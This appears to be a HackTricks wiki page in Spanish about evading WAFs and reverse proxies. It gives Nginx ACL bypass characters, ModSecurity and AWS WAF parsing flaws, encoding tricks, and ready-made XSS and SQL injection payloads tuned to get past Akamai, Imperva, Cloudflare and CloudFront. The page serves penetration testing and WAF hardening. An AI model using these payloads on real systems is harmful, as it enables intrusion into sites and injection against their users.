Evasión de protecciones Proxy / WAF

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Evasión de reglas ACL de Nginx mediante manipulación del pathname

Técnicas from this research.

Ejemplo de regla de Nginx:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Para prevenir bypasses, Nginx realiza la normalización de la ruta antes de verificarla. Sin embargo, si el servidor backend realiza una normalización diferente (eliminando caracteres que nginx no elimina), podría ser posible bypassear esta defensa.

NodeJS - Express

Versión de NginxNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Versión de NginxFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Versión de NginxSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Configuración de Nginx FPM:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx está configurado para bloquear el acceso a /admin.php, pero es posible eludir esto accediendo a /admin.php/index.php.

Cómo prevenirlo

location ~* ^/admin {
deny all;
}

Evadir reglas de Mod Security

Confusión de ruta

In this post se explica que ModSecurity v3 (hasta la 3.0.12), implementó incorrectamente la variable REQUEST_FILENAME que debía contener la ruta accedida (hasta el inicio de los parámetros). Esto se debe a que realizaba una decodificación de URL para obtener la ruta.
Por lo tanto, una petición como http://example.com/foo%3f';alert(1);foo= en ModSecurity supondrá que la ruta es solo /foo porque %3f se transforma en ? terminando la ruta del URL, pero en realidad la ruta que recibirá el servidor será /foo%3f';alert(1);foo=.

Las variables REQUEST_BASENAME y PATH_INFO también se vieron afectadas por este bug.

Algo similar ocurrió en la versión 2 de Mod Security que permitía eludir una protección que impedía a los usuarios acceder a ficheros con extensiones específicas relacionadas con backups (como .bak) simplemente enviando el punto codificado en la URL como %2e, por ejemplo: https://example.com/backup%2ebak.

Evadir AWS WAF ACL

Cabecera malformada

This research menciona que era posible eludir reglas de AWS WAF aplicadas sobre HTTP headers enviando una cabecera “malformed” que no era parseada correctamente por AWS pero sí lo era por el servidor backend.

Por ejemplo, enviando la siguiente request con una SQL injection en la header X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Fue posible evadir AWS WAF porque no entendía que la siguiente línea era parte del valor del header mientras que el servidor NODEJS sí lo hacía (esto se solucionó).

Evasiones genéricas de WAF

Límites de tamaño de petición

Normalmente los WAF tienen un cierto límite de longitud de requests a inspeccionar y si una petición POST/PUT/PATCH lo supera, el WAF no la inspeccionará.

Tamaño máximo del cuerpo de una web request que puede ser inspeccionado para las protecciones de Application Load Balancer y AWS AppSync8 KB
Tamaño máximo del cuerpo de una web request que puede ser inspeccionado para las protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**64 KB

Los Web Application Firewalls antiguos con Core Rule Set 3.1 (o inferior) permiten mensajes mayores de 128 KB al desactivar la inspección del cuerpo de la request, pero esos mensajes no serán revisados por vulnerabilidades. Para versiones más nuevas (Core Rule Set 3.2 o superior), lo mismo puede lograrse deshabilitando el límite máximo del cuerpo de la request. Cuando una request excede el límite de tamaño:

Si prevention mode: registra y bloquea la request.
Si detection mode: inspecciona hasta el límite, ignora el resto y registra si el Content-Length excede el límite.

Por defecto, el WAF inspecciona solo los primeros 8KB de una request. Puede aumentar el límite hasta 128KB añadiendo Advanced Metadata.

Hasta 128KB.

Huecos en la inspección de assets estáticos (.js GETs)

Algunos stacks CDN/WAF aplican una inspección de contenido débil o nula a GET requests para assets estáticos (por ejemplo rutas que terminan en .js), mientras siguen aplicando reglas globales como rate limiting y reputación de IP. Combinado con el auto-caching de extensiones estáticas, esto puede abusarse para entregar o sembrar variantes maliciosas que afectan respuestas HTML posteriores.

Casos prácticos:

  • Enviar payloads en headers no confiables (p. ej., User-Agent) en un GET a una ruta .js para evitar la inspección de contenido, y luego solicitar inmediatamente el HTML principal para influir en la variante cacheada.
  • Usar una IP limpia/nueva; una vez que una IP es marcada, cambios en el enrutamiento pueden volver la técnica poco fiable.
  • En Burp Repeater, usar “Send group in parallel” (estilo single-packet) para competir con las dos requests (.js y luego HTML) por el mismo path front-end.

Esto combina bien con header-reflection cache poisoning. Ver:

Cache Poisoning and Cache Deception

Ofuscación

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Compatibilidad Unicode

Dependiendo de la implementación de la normalización de Unicode (más info here), los caracteres que comparten compatibilidad Unicode pueden ser capaces de evadir el WAF y ejecutarse como el payload previsto. Los caracteres compatibles se pueden encontrar here.

Ejemplo

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

Como se menciona en this blog post, para evadir WAFs capaces de mantener un contexto de la entrada del usuario podríamos abusar de las técnicas del WAF para que en realidad normalice la entrada del usuario.

Por ejemplo, en el post se menciona que Akamai decodificó por URL una entrada de usuario 10 veces. Por ello algo como <input/%2525252525252525253e/onfocus será visto por Akamai como <input/>/onfocus lo que podría hacerle pensar que está bien porque la etiqueta está cerrada. Sin embargo, siempre que la aplicación no decodifique por URL la entrada 10 veces, la víctima verá algo como <input/%25252525252525253e/onfocus que sigue siendo válido para un ataque XSS.

Por lo tanto, esto permite ocultar payloads en componentes codificados que el WAF decodificará e interpretará mientras la víctima no lo hará.

Además, esto no solo se puede hacer con payloads URL encoded sino también con otras codificaciones como unicode, hex, octal…

En el post se sugieren los siguientes bypasses finales:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

También se menciona que dependiendo de cómo algunos WAFs entienden el contexto de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai permitía poner cualquier cosa entre /* y */ (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, un SQLinjection como /*'or sleep(5)-- -*/ no sería detectado y sería válido ya que /* es la cadena de inicio de la inyección y */ queda comentada.

Este tipo de problemas de contexto también se pueden usar para abusar de otras vulnerabilidades distintas a la esperada por el WAF (p. ej., esto también podría usarse para explotar un XSS).

Fallas en la inspección de la primera sentencia inline de JavaScript

Algunas reglas de inline-inspection solo parsean la primera sentencia JavaScript presente dentro de un event handler. Prefijando una expresión de aspecto inofensivo entre paréntesis seguida de un punto y coma (por ejemplo onfocus="(history.length);payload"), el código malicioso colocado después del punto y coma evade la inspección mientras el navegador aún lo ejecuta. Combinar esto con foco inducido por fragmentos (p. ej., añadir #forgot_btn para que el elemento objetivo reciba el foco al cargar) permite XSS sin click que puede llamar inmediatamente a $.getScript y desplegar herramientas de phishing como keyloggers. See the attribute-only login XSS case study derived from this research.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Se pueden usar distintas técnicas para evadir los filtros regex en los firewalls. Los ejemplos incluyen alternar mayúsculas/minúsculas, añadir saltos de línea y codificar payloads. Recursos para los distintos bypasses pueden encontrarse en PayloadsAllTheThings y OWASP. Los ejemplos a continuación fueron extraídos de this article.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Herramientas

  • nowafpls: Plugin de Burp para añadir datos basura a las peticiones para evadir WAFs mediante la longitud

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks